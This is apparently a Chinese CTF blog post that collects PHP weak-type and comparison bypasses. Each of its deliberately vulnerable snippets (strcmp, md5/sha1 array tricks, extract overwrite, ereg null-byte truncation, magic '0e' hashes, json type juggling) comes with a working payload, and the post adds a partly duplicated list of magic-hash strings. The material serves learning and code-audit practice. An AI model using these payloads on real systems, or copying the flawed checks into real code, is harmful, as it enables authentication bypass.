代码审计之弱类型绕过
代码审计之弱类型绕过
前言
之前做过没有总结,这几天做题经常遇见弱类型绕过,写篇博客总结一下(水一篇),嘻嘻。
提到php代码绕过,必然会提起比较操作符
,下面来谈一谈比较操作符==
与===
,这两种都可以比较两个数字的大小,但是有很明显的区别。
操作符 | 描述 |
---|---|
== | 把两端变量类型转换成相同的,再进行比较 |
=== | 先判断两端变量类型是否相同,再进行比较 |
注意:在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。
1.extract变量覆盖
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'flag{xxx}';
} else {
echo'Oh.no';
}
}
?>
函数 | 描述 |
---|---|
extract() | 函数从数组中将变量导入到当前的符号表 |
在第三行, 运用了extract()函数, 将GET方式获得的变量导入到当前的符号表中,然后判断$ flag和$ shiyan两个变量的内容是否相等。
extract()函数导致这段代码存在一个变量覆盖漏洞,构造Payload
Payload:?flag=&shiyan=
$ flag和$ shiyan这两个变量的内容都会被设置成空字符串。这样,就满足$shiyan == $content的条件,输出flag。
2.strcmp比较字符串
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
函数 | 用法 | 返回值 |
---|---|---|
strcmp() | strcmp(string1,string2) | 若返回0,代表两个字符串相等 ;若返回<0 ,代表string1 小于 string2;若返回>0,代表string1 大于 string2 |
对于传入非字符串类型的数据的时候,strcmp函数会报错,将return 0 ,但却判定其相等了。
所以,strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制。
Payload:?a[]=123
3.urldecode二次编码绕过
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ") {
echo "Access granted!";
echo "flag";
}
?>
函数 | 描述 |
---|---|
urldecode() | 解码已编码的 URL 字符串 |
使用GET传参时,浏览器就已经把hakerDJ进行了一次解码了,然后又用了urldecode函数又再次进行了一次解码。所以我们要将hakerDJ进行二次编码
Payload: ?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
4.md5()函数
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>
md5() | 函数计算字符串的 MD5 散列 |
== | 只需要等号两边的值是否相等。比如‘1’==1就成立,返回true |
=== | 需要全等号两边的值和类型全都相等才成立 |
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
Payload:?username[]=1&password[]=2
5.数组返回NULL绕过
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>
函数 | 描述 |
---|---|
ereg | 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false |
strpos | 函数查找字符串在另一字符串中第一次出现的位置。 |
第4行代码,ereg函数会对传入的password从a-z,A-Z,0-9
进行匹配,将你的密码限制在这三种字符中。
方法一:
strpos()
需要匹配到--
才能输出flag,所以我们需要绕过strpos()
函数。strpos()
如果传入数组,会返回NULL。
Payload: ?password[]=1
方法二:
搜索字母的字符是大小写敏感的, 我们可以用%00来截断,在%00之后的数值函数无法识别
Payload: ?password=1%00--
6. 弱类型整数大小比较绕过
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336) {
echo $flag;
函数 | 描述 |
---|---|
is_numeric() | 判断变量是否为数字或数字字符串 |
传入的值会被is_numeric函数进行检测,如果为数字就直接输出no numeric,传参password=2000a
既不是一个数字又大于1336,返回NULL,可以绕过。
Payload: ?password=2000a
7. sha()函数比较绕过
http://123.206.87.240:9009/7.php
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password'])) {
var_dump($_GET['name']);
echo " ";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag); else
echo 'Invalid password.';
} else
echo 'Login first!';
?>
函数 | 描述 |
---|---|
sha1()函数无法处理数组类型,通过构造数组,将报错并返回false,使条件成立,这样就绕过了sha1()函数,获得flag
Payload: ?name[]=1&password[]=2
8. md5加密相等绕过
http://123.206.87.240:9009/13.php
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)) {
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}
} else {
echo "please input a";
}
?>
字符串QNKCDZO被md5加密后之后是前两位为0e
,然后我们找一个字符串的md5之后的结果也为e0xxx的就可以绕过。
Payload: ?a=s878926199a
原理:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
以下字符串,md5哈希值都是0e开头的:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
9. 十六进制与数字比较
http://123.206.87.240:9009/20.php
<?php
error_reporting(0);
function noother_says_correct($temp) {
$flag = 'flag{test}';
$one = ord('1');
//ord — 返回字符的 ASCII 码值
$nine = ord('9');
//ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++) {
// Disallow all the digits!
$digit = ord($temp {$i});
if ( ($digit >= $one) && ($digit <= $nine) ) {
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
参数不能有1-9的数字,同时要求该参数值为3735929054,所以把值转换成十六进制传参。
Payload: ?password=0xdeadc0de
10. ereg正则%00截断
http://123.206.87.240:9009/5.php
<?php
$flag = "xxx";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
echo 'You password must be alphanumeric';
} else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置 {
die('Flag: ' . $flag);
} else {
echo('have not been found');
}
} else {
echo 'Invalid password';
}
}
?>
传入的值必须是数字或大小写字符,长度小于8且大于9999999,且匹配到"-"才能输出flag。
可以使用%00
来截断,当ereg函数读到 %00
的时候,就截止了。
Payload: ?password=1e8%00*-*
11. strpos数组绕过
http://123.206.87.240:9009/15.php
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>
要求传入的参数为数字并且包含字符串“#biubiubiu”,有点难搞。
可以通过数组绕过strpos
与ereg
函数,遇到数组返回NULL,数值和类型相同。
Payload: ?ctf[]=1
12. 数字验证正则绕过
http://123.206.87.240:9009/21.php
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']) {
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 {
echo 'flag';
exit;
}
while (TRUE) {
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
//[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt) {
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password)
echo $flag;
else
echo 'Wrong password';
exit;
}
}
?>
代码中涉及到的一些正则函数
正则匹配函数 | 描述 | 区别 |
---|---|---|
preg_match | 执行一个正则表达式匹配,匹配到则返回1,匹配不到则返回0 | 第一次匹配成功后就停止匹配 |
preg_match_all | 执行一个全局正则表达式匹配,返回成功模式匹配的次数,并将匹配结果存储到一个数组中 | 匹配到字符串结束为止 |
下面还有几个正则匹配的字符:
正则匹配字符 | 描述 | ASCII |
---|---|---|
[:graph:] | 除空格,TAB外的所有字符 | [\x21-\x7E] |
[a-zA-Z0-9] | 大小写字母和数字 | [a-zA-Z0-9] |
[:alpha:] | 大小写字母 | [a-zA-Z] |
[:punct:] | 任何标点符号 | [!"#$%&’()*+,-./:;<=>?@[]^_`{} ~] |
[:digit:] | 任何数字 | [0-9] |
[:upper:] | 任何大写字母 | [A-Z] |
[:lower:] | 任何小写字母 | [a-z] |
代码审计
请求方法必须为POST
1、正则匹配,[:graph:]为任意字符,要求password长度超过12
2、password中必须包含标点符号,数字,大写字母,小写字母,并且检测次数要超过6次
3、标点符号,数字,大写字母,小写字母,包含3种以上绕过
4、弱类型比较,42abc,强制转换为数字
构造Payload,居然提示Wrong password
Payload: password=42BugKuctf.a
仔细看了一下代码,变量原来是flag,改一下Payload
Payload: flag=42BugKuctf.a
这道题有点奇怪,随便post一个值也能得到flag,小小脑袋有大大疑问。
13.md4绕过
if ($_GET["a"] != hash("md4", $_GET["a"])) {
echo "<br>";
die('Theshy is locked');
}
这段代码中get进来的参数a,使a=md4(a)
才行。
百度一下md4绕过,发现可以通过科学计算法比较绕过。找一个值是一个科学计算法0e开头的,其md4加密后也为0e开头,弱类型比较绕过。
a | md4(a) |
---|---|
0e251288019 | 0e874956163641961271069404332409 |
0e001233333333333334557778889 | 0e434041524824285414215559233446 |
Payload为:
?a=0e251288019
或
?a=0e001233333333333334557778889
14.json绕过
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
输入一个数组进行json解码,解码后的message与key值相同才会得到flag,使用弱类型进行绕过,key肯定是字符串,两个等号时会转化成同一类型再进行比较,直接构造一个0就可以相等了,通过0=="admin"这种形式绕过。
Payload: message={"key":0}